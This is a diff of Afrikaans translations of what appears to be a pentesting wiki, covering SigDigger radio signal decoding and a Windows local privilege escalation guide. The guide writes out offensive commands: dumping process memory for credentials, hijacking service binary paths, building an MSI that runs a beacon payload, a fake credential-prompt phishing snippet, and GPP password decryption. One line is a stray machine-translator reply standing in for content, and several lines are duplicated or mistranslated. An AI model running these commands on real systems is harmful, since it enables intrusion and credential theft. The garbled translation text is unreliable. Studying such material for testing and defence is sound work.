Aangesien dit 'n **AM-gemoduleerde** sein is en die **simbooltempo** (en wetende dat in hierdie geval iets op beteken 1 en iets af beteken 0), is dit baie maklik om die **bits** wat in die sein gekodeer is, te **verkry**. So, kies die sein met inligting en konfigureer die monster en besluit en druk monster (kontroleer dat **Amplitude** gekies is, die ontdekte **Simbooltempo** is geconfigureer en die **Gadner klokherwinning** is gekies):
|
||||
|
||||
.png>)
|
||||
|
||||
- **Sync to selection intervals** beteken dat as jy voorheen intervalle gekies het om die simbooltempo te vind, daardie simbooltempo gebruik sal word.
|
||||
- **Sync to selection intervals** beteken dat as jy voorheen intervalle gekies het om die simbooltempo te vind, daardie simbooltempo sal gebruik word.
|
||||
- **Manual** beteken dat die aangeduide simbooltempo gebruik gaan word
|
||||
- In **Fixed interval selection** dui jy die aantal intervalle aan wat gekies moet word en dit bereken die simbooltempo daarvan
|
||||
- In **Fixed interval selection** dui jy die aantal intervalle aan wat gekies moet word en dit bereken die simbooltempo daaruit
|
||||
- **Gadner clock recovery** is gewoonlik die beste opsie, maar jy moet steeds 'n paar benaderde simbooltempo aandui.
|
||||
|
||||
Wanneer jy op monster druk, verskyn dit:
|
||||
@ -137,11 +139,13 @@ Laastens, **verhoog** die **Zoom** en **verander die Ry-grootte** sodat jy die b
|
||||
|
||||
As die sein meer as 1 bit per simbool het (byvoorbeeld 2), het SigDigger **geen manier om te weet watter simbool is** 00, 01, 10, 11 nie, so dit sal verskillende **grys skale** gebruik om elkeen te verteenwoordig (en as jy die bits kopieer, sal dit **nommers van 0 tot 3** gebruik, jy sal dit moet verwerk).
|
||||
|
||||
Gebruik ook **kodering** soos **Manchester**, en **up+down** kan **1 of 0** wees en 'n down+up kan 'n 1 of 0 wees. In daardie gevalle moet jy die **verkrygde ups (1) en downs (0)** verwerk om die pare van 01 of 10 as 0s of 1s te vervang.
|
||||
Gebruik ook **kodering** soos **Manchester**, en **op+af** kan **1 of 0** wees en 'n af+op kan 'n 1 of 0 wees. In daardie gevalle moet jy die **verkrygde op (1) en af (0)** verwerk om die pare van 01 of 10 as 0s of 1s te vervang.
|
||||
|
||||
## FM Example
|
||||
|
||||
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
|
||||
{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Uncovering FM
|
||||
|
||||
@ -167,15 +171,15 @@ As die gesinkroniseerde frekwensie **naby een frekwensie is as die ander**, kan
|
||||
|
||||
#### Checking the histogram
|
||||
|
||||
Deur die frekwensie histogram van die sein met inligting na te gaan, kan jy maklik 2 verskillende seine sien:
|
||||
Kontroleer die frekwensiehistogram van die sein met inligting, jy kan maklik 2 verskillende seine sien:
|
||||
|
||||
.png>)
|
||||
|
||||
In hierdie geval, as jy die **Amplitude histogram** nagaan, sal jy **net een amplitude** vind, so dit **kan nie AM wees nie** (as jy 'n klomp amplitudes vind, kan dit wees omdat die sein krag langs die kanaal verloor het):
|
||||
In hierdie geval, as jy die **Amplitude histogram** kontroleer, sal jy **slegs een amplitude** vind, so dit **kan nie AM wees nie** (as jy 'n baie amplitudes vind, kan dit wees omdat die sein krag verloor het langs die kanaal):
|
||||
|
||||
.png>)
|
||||
|
||||
En dit sou die fase histogram wees (wat baie duidelik maak dat die sein nie in fase gemoduleer is nie):
|
||||
En dit sou die fasehistogram wees (wat baie duidelik maak dat die sein nie in fase gemoduleer is nie):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -189,7 +193,7 @@ Boonop word 'n ander frekwensie "verteenwoordig" deur die IQ-grafiek deur 'n **s
|
||||
|
||||
### Get Symbol Rate
|
||||
|
||||
Jy kan die **dieselfde tegniek as die een wat in die AM voorbeeld gebruik is** gebruik om die simbooltempo te kry sodra jy die frekwensies wat simbole dra, gevind het.
|
||||
Jy kan die **dieselfde tegniek as die een wat in die AM voorbeeld gebruik is** gebruik om die simbooltempo te kry, sodra jy die frekwensies wat simbole dra, gevind het.
|
||||
|
||||
### Get Bits
|
||||
|
||||
|
@ -1,10 +1,10 @@
|
||||
# Windows Lokale Privilege Escalation
|
||||
# Windows Local Privilege Escalation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Beste hulpmiddel om te soek na Windows lokale privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
### **Beste hulpmiddel om na Windows plaaslike privilige-escalasie vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
## Begin Windows Teorie
|
||||
## Aanvanklike Windows Teorie
|
||||
|
||||
### Toegangstokens
|
||||
|
||||
@ -32,7 +32,7 @@ integrity-levels.md
|
||||
|
||||
## Windows Sekuriteitsbeheer
|
||||
|
||||
Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet **lees** die volgende **bladsy** en **evalueer** al hierdie **verdedigings** **meganismes** voordat jy die privilege escalasie evaluering begin:
|
||||
Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet **lees** die volgende **bladsy** en **evalueer** al hierdie **verdedigings** **meganismes** voordat jy die privilige-escalasie-evaluering begin:
|
||||
|
||||
{{#ref}}
|
||||
../authentication-credentials-uac-and-efs/
|
||||
@ -79,7 +79,7 @@ Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig
|
||||
|
||||
### Omgewing
|
||||
|
||||
Enige geloofsbriewe/juicy inligting wat in die omgevariable gestoor is?
|
||||
Enige geloofsbriewe/juicy inligting wat in die omgewing veranderlikes gestoor is?
|
||||
```bash
|
||||
set
|
||||
dir env:
|
||||
@ -158,7 +158,7 @@ Jy begin deur te kyk of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
As there is no content provided after your prompt, I cannot provide a translation. Please provide the text you would like translated to Afrikaans.
|
||||
As there is no content provided for translation, please provide the text you would like translated to Afrikaans.
|
||||
```bash
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
@ -171,7 +171,9 @@ Om hierdie kwesbaarhede te benut, kan jy gereedskap soos: [Wsuxploit](https://gi
|
||||
|
||||
Lees die navorsing hier:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
@ -186,7 +188,7 @@ Jy kan hierdie kwesbaarheid benut met die gereedskap [**WSUSpicious**](https://g
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
'n **Plaaslike privilege-escalation** kwesbaarheid bestaan in Windows **domein** omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP-handtekening nie afgedwing word nie,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om te noem dat hierdie **vereistes** nagekom word met **standaardinstellings**.
|
||||
'n **Plaaslike privilege-escalation** kwesbaarheid bestaan in Windows **domein** omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP-handtekening nie afgedwing word nie,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om op te let dat hierdie **vereistes** nagekom word met **standaardinstellings**.
|
||||
|
||||
Vind die **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -208,11 +210,11 @@ As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomaties uitvoer met d
|
||||
|
||||
### PowerUP
|
||||
|
||||
Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf gecompileerde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
|
||||
Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf-gecompileerde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
Voer eenvoudig die geskepte binêre uit om voorregte te verhoog.
|
||||
Net die geskepte binêre uitvoer om voorregte te verhoog.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
@ -238,7 +240,7 @@ create-msi-with-wix.md
|
||||
- Daar is ander eienskappe wat jy kan verander, soos die **Skrywer** en **Fabrikant** wat die geïnstalleerde app meer wettig kan laat lyk.
|
||||
- Regsklik op die projek en kies **Kyk > Aangepaste Aksies**.
|
||||
- Regsklik op **Installeer** en kies **Voeg Aangepaste Aksie by**.
|
||||
- Dubbelklik op **Toepassing Gids**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installeerder gedoen word.
|
||||
- Dubbelklik op **Toepassing Gids**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installateur gedraai word.
|
||||
- Onder die **Aangepaste Aksie Eienskappe**, verander **Run64Bit** na **Waar**.
|
||||
- Laastens, **bou dit**.
|
||||
- As die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` vertoon word, maak seker jy stel die platform op x64.
|
||||
@ -302,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
```
|
||||
## Gebruikers & Groepe
|
||||
|
||||
### Enumereer Gebruikers & Groepe
|
||||
### Evalueer Gebruikers & Groepe
|
||||
|
||||
Jy moet nagaan of enige van die groepe waartoe jy behoort interessante toestemmings het
|
||||
```bash
|
||||
@ -321,7 +323,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||||
```
|
||||
### Bevoorregte groepe
|
||||
|
||||
As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte te verhoog**. Leer oor bevoorregte groepe en hoe om hulle te misbruik om voorregte te verhoog hier:
|
||||
As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte te verhoog**. Leer meer oor bevoorregte groepe en hoe om hulle te misbruik om voorregte te verhoog hier:
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
@ -330,7 +332,7 @@ As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte
|
||||
### Token manipulasie
|
||||
|
||||
**Leer meer** oor wat 'n **token** is op hierdie bladsy: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Kyk na die volgende bladsy om **oor interessante tokens te leer** en hoe om hulle te misbruik:
|
||||
Kyk na die volgende bladsy om **meer te leer oor interessante tokens** en hoe om hulle te misbruik:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
|
||||
### Lêer- en Gidsregte
|
||||
|
||||
Eerstens, lys die prosesse **kyk vir wagwoorde binne die opdraglyn van die proses**.\
|
||||
Kyk of jy **'n sekere binêre wat loop kan oorskryf** of as jy skryfregte van die binêre gids het om moontlike [**DLL Hijacking-aanvalle**](dll-hijacking/index.html) te benut:
|
||||
Kyk of jy kan **oorwrite sommige binêre wat loop** of as jy skryfregte van die binêre gids het om moontlike [**DLL Hijacking-aanvalle**](dll-hijacking/index.html) te benut:
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -372,7 +374,7 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||||
```
|
||||
Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om privilige te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||||
|
||||
**Kontroleer toestemmings van die prosesse se binaire lêers**
|
||||
**Kontroleer toestemmings van die prosesse se binaire**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||||
@ -381,7 +383,7 @@ icacls "%%z"
|
||||
)
|
||||
)
|
||||
```
|
||||
**Kontroleer toestemmings van die vouers van die prosesse se binêre (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
**Kontroleer toestemmings van die vouers van die prosesse se binaire lêers (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||||
@ -391,13 +393,13 @@ todos %username%" && echo.
|
||||
```
|
||||
### Geheue Wagwoord mynbou
|
||||
|
||||
Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **akkrediteer in duidelike teks in geheue**, probeer om die geheue te dump en lees die akkrediteer.
|
||||
Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **akkrediteer in duidelike teks in geheue**, probeer om die geheue te dump en die akkrediteer te lees.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
### Onveilige GUI-apps
|
||||
|
||||
**Toepassings wat as SYSTEM loop, mag 'n gebruiker toelaat om 'n CMD te genereer, of om gidse te blaai.**
|
||||
**Toepassings wat as SYSTEM loop, mag 'n gebruiker toelaat om 'n CMD te genereer, of om gidsen te blaai.**
|
||||
|
||||
Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt"
|
||||
|
||||
@ -464,18 +466,18 @@ net stop [service name] && net start [service name]
|
||||
```
|
||||
Privileges kan deur verskeie toestemmings verhoog word:
|
||||
|
||||
- **SERVICE_CHANGE_CONFIG**: Laat herkonfigurasie van die diensbinarie toe.
|
||||
- **WRITE_DAC**: Maak toestemmingherkonfigurasie moontlik, wat lei tot die vermoë om dienskonfigurasies te verander.
|
||||
- **WRITE_OWNER**: Laat eienaarskapverkryging en toestemmingherkonfigurasie toe.
|
||||
- **SERVICE_CHANGE_CONFIG**: Laat herkonfigurasie van die diens-binary toe.
|
||||
- **WRITE_DAC**: Maak toestemming herkonfigurasie moontlik, wat lei tot die vermoë om dienskonfigurasies te verander.
|
||||
- **WRITE_OWNER**: Laat eienaarskap verkryging en toestemming herkonfigurasie toe.
|
||||
- **GENERIC_WRITE**: Erf die vermoë om dienskonfigurasies te verander.
|
||||
- **GENERIC_ALL**: Erf ook die vermoë om dienskonfigurasies te verander.
|
||||
|
||||
Vir die opsporing en benutting van hierdie kwesbaarheid, kan die _exploit/windows/local/service_permissions_ gebruik word.
|
||||
|
||||
### Dienste binariewe swak toestemmings
|
||||
### Dienste binaries swak toestemmings
|
||||
|
||||
**Kontroleer of jy die binarie wat deur 'n diens uitgevoer word, kan wysig** of of jy **skryftoestemmings op die gids** het waar die binarie geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Jy kan elke binarie wat deur 'n diens uitgevoer word, verkry met **wmic** (nie in system32 nie) en jou toestemmings nagaan met **icacls**:
|
||||
**Kontroleer of jy die binary wat deur 'n diens uitgevoer word, kan wysig** of of jy **skryftoestemmings op die gids** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||||
Jy kan elke binary wat deur 'n diens uitgevoer word, verkry met **wmic** (nie in system32 nie) en jou toestemmings nagaan met **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
|
||||
@ -505,15 +507,15 @@ Om die pad van die uitgevoerde binêre te verander:
|
||||
```bash
|
||||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||||
```
|
||||
### Dienste-register AppendData/AddSubdirectory toestemmings
|
||||
### Dienste registrasie AppendData/AddSubdirectory toestemmings
|
||||
|
||||
As jy hierdie toestemming oor 'n register het, beteken dit **jy kan sub-registers van hierdie een skep**. In die geval van Windows dienste is dit **genoeg om arbitrêre kode uit te voer:**
|
||||
As jy hierdie toestemming oor 'n registrasie het, beteken dit **jy kan sub registrasies van hierdie een skep**. In die geval van Windows dienste is dit **genoeg om willekeurige kode uit te voer:**
|
||||
|
||||
{{#ref}}
|
||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
{{#endref}}
|
||||
|
||||
### Ongequoteerde Dienspade
|
||||
### Ongekwote Diens Paaie
|
||||
|
||||
As die pad na 'n uitvoerbare lêer nie binne aanhalings is nie, sal Windows probeer om elke einde voor 'n spasie uit te voer.
|
||||
|
||||
@ -523,7 +525,7 @@ C:\Program.exe
|
||||
C:\Program Files\Some.exe
|
||||
C:\Program Files\Some Folder\Service.exe
|
||||
```
|
||||
Lys al die ongeciteerde dienspaaie, met uitsluiting van dié wat aan ingeboude Windows-dienste behoort:
|
||||
Lys alle ongekwote dienspaaie, met uitsluiting van dié wat aan ingeboude Windows-dienste behoort:
|
||||
```powershell
|
||||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||||
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Bestuurders
|
||||
|
||||
Soek na moontlike **derdeparty vreemde/kwulnerbare** bestuurders
|
||||
Soek na moontlike **derdeparty vreemde/kwesbare** bestuurders.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -644,13 +646,13 @@ ipconfig /all
|
||||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||||
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
|
||||
```
|
||||
### Open Ports
|
||||
### Oop Port
|
||||
|
||||
Kyk vir **beperkte dienste** van buite
|
||||
```bash
|
||||
netstat -ano #Opened ports?
|
||||
```
|
||||
### Routering Tabel
|
||||
### Routeringstabel
|
||||
```
|
||||
route print
|
||||
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
|
||||
@ -727,11 +729,11 @@ Let wel dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/util
|
||||
|
||||
### DPAPI
|
||||
|
||||
Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling maak gebruik van 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
|
||||
Die **Data Protection API (DPAPI)** bied 'n metode vir simmetriese versleuteling van data, wat hoofsaaklik binne die Windows-bedryfstelsel gebruik word vir die simmetriese versleuteling van asimmetriese privaat sleutels. Hierdie versleuteling benut 'n gebruiker of stelsels geheim om aansienlik by te dra tot entropie.
|
||||
|
||||
**DPAPI stel die versleuteling van sleutels in staat deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsels versleuteling behels, gebruik dit die stelsels domeinverifikasie geheime.
|
||||
**DPAPI stel die versleuteling van sleutels in staat deur 'n simmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsels versleuteling betrek, gebruik dit die stelsels domeinverifikasie geheime.
|
||||
|
||||
Versleutelde gebruiker RSA sleutels, deur gebruik te maak van DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om te noem dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
|
||||
Versleutelde gebruiker RSA sleutels, deur DPAPI, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, wat saam met die meester sleutel wat die gebruiker se privaat sleutels in dieselfde lêer beskerm, geleë is**, bestaan tipies uit 64 bytes van ewekansige data. (Dit is belangrik om te noem dat toegang tot hierdie gids beperk is, wat verhoed dat die inhoud daarvan gelys kan word via die `dir` opdrag in CMD, alhoewel dit gelys kan word deur PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -801,7 +803,7 @@ Mense gebruik dikwels die StickyNotes-app op Windows werkstasies om **wagwoorde*
|
||||
|
||||
**Let daarop dat jy Administrator moet wees en onder 'n Hoë Integriteit vlak moet loop om wagwoorde van AppCmd.exe te herstel.**\
|
||||
**AppCmd.exe** is geleë in die `%systemroot%\system32\inetsrv\` gids.\
|
||||
As hierdie lêer bestaan, dan is dit moontlik dat sommige **akkrediteer** geconfigureer is en **herstel** kan word.
|
||||
As hierdie lêer bestaan, dan is dit moontlik dat sommige **akkrediteer** geconfigureer is en kan **herstel** word.
|
||||
|
||||
Hierdie kode is onttrek uit [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
|
||||
```bash
|
||||
@ -884,15 +886,15 @@ $ErrorActionPreference = $OrigError
|
||||
### SCClient / SCCM
|
||||
|
||||
Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan.\
|
||||
Installeerders word **met SYSTEM-regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
Installeerders word **met SYSTEM regte** uitgevoer, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
|
||||
```bash
|
||||
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
|
||||
if ($result) { $result }
|
||||
else { Write "Not Installed." }
|
||||
```
|
||||
## Lêers en Registrasie (Geloofsbewyse)
|
||||
## Lêers en Registrasie (Geloofsbriewe)
|
||||
|
||||
### Putty Geloofsbewyse
|
||||
### Putty Geloofsbriewe
|
||||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
@ -909,14 +911,14 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
As jy enige inskrywing binne daardie pad vind, sal dit waarskynlik 'n gestoor SSH-sleutel wees. Dit is versleuteld gestoor, maar kan maklik ontcijfer word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer die volgende uit:
|
||||
As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer in:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
> [!NOTE]
|
||||
> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh sleutels te skep, hulle by te voeg met `ssh-add` en via ssh na 'n masjien in te log. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutelverifikasie geïdentifiseer.
|
||||
|
||||
### Onbewaakte lêers
|
||||
### Unattended files
|
||||
```
|
||||
C:\Windows\sysprep\sysprep.xml
|
||||
C:\Windows\sysprep\sysprep.inf
|
||||
@ -976,9 +978,9 @@ Soek vir 'n lêer genaamd **SiteList.xml**
|
||||
|
||||
### Gekapte GPP Wagwoord
|
||||
|
||||
'n Kenmerk was voorheen beskikbaar wat die ontplooiing van pasgemaakte plaaslike administrateur rekeninge op 'n groep masjiene via Groep Beleid Voorkeure (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsfoute gehad. Eerstens, die Groep Beleid Objekte (GPO's), gestoor as XML-lêers in SYSVOL, kon deur enige domein gebruiker toegang verkry word. Tweedens, die wagwoorde binne hierdie GPP's, geënkripteer met AES256 met 'n publiek gedokumenteerde standaard sleutel, kon deur enige geverifieerde gebruiker ontcijfer word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers in staat kon stel om verhoogde voorregte te verkry.
|
||||
'n Kenmerk was voorheen beskikbaar wat die ontplooiing van pasgemaakte plaaslike administrateur rekeninge op 'n groep masjiene via Groep Beleid Voorkeure (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsfoute gehad. Eerstens, die Groep Beleid Voorwerpe (GPO's), gestoor as XML-lêers in SYSVOL, kon deur enige domein gebruiker toegang verkry word. Tweedens, die wagwoorde binne hierdie GPP's, geënkripteer met AES256 met 'n publiek gedokumenteerde standaard sleutel, kon deur enige geverifieerde gebruiker ontcijfer word. Dit het 'n ernstige risiko ingehou, aangesien dit gebruikers in staat kon stel om verhoogde voorregte te verkry.
|
||||
|
||||
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer vir plaaslik gekapte GPP-lêers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontcijfer die funksie die wagwoord en keer 'n pasgemaakte PowerShell objek terug. Hierdie objek sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en remediëring van hierdie sekuriteitskwesbaarheid.
|
||||
Om hierdie risiko te verminder, is 'n funksie ontwikkel om te skandeer vir plaaslik gekapte GPP-lêers wat 'n "cpassword" veld bevat wat nie leeg is nie. Wanneer so 'n lêer gevind word, ontcijfer die funksie die wagwoord en keer 'n pasgemaakte PowerShell-voorwerp terug. Hierdie voorwerp sluit besonderhede oor die GPP en die lêer se ligging in, wat help met die identifisering en herstel van hierdie sekuriteitskwesbaarheid.
|
||||
|
||||
Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (voor W Vista)_ vir hierdie lêers:
|
||||
|
||||
@ -994,7 +996,7 @@ Soek in `C:\ProgramData\Microsoft\Group Policy\history` of in _**C:\Documents an
|
||||
#To decrypt these passwords you can decrypt it using
|
||||
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
|
||||
```
|
||||
Met crackmapexec om die wagwoorde te verkry:
|
||||
Gebruik crackmapexec om die wagwoorde te verkry:
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
|
||||
```
|
||||
@ -1060,7 +1062,7 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U
|
||||
#Get plaintext
|
||||
$cred.GetNetworkCredential() | fl
|
||||
```
|
||||
### **Moglike lêername wat akrediteerlinge bevat**
|
||||
### **Moglike lêername wat akrediteerbesonderhede bevat**
|
||||
|
||||
Bekende lêers wat 'n tyd gelede **wagwoorde** in **duidelike teks** of **Base64** bevat het
|
||||
```bash
|
||||
@ -1152,7 +1154,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
```
|
||||
[**Onttrek openssh sleutels uit die registrasie.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
### Blaaiers Geskiedenis
|
||||
### Bladsygeskiedenis
|
||||
|
||||
Jy moet kyk vir dbs waar wagwoorde van **Chrome of Firefox** gestoor word.\
|
||||
Kyk ook na die geskiedenis, boekmerke en gunstelinge van die blaaiers sodat dalk sommige **wagwoorde is** daar gestoor.
|
||||
@ -1166,15 +1168,15 @@ Gereedskap om wagwoorde uit blaaiers te onttrek:
|
||||
|
||||
### **COM DLL Oorskrywing**
|
||||
|
||||
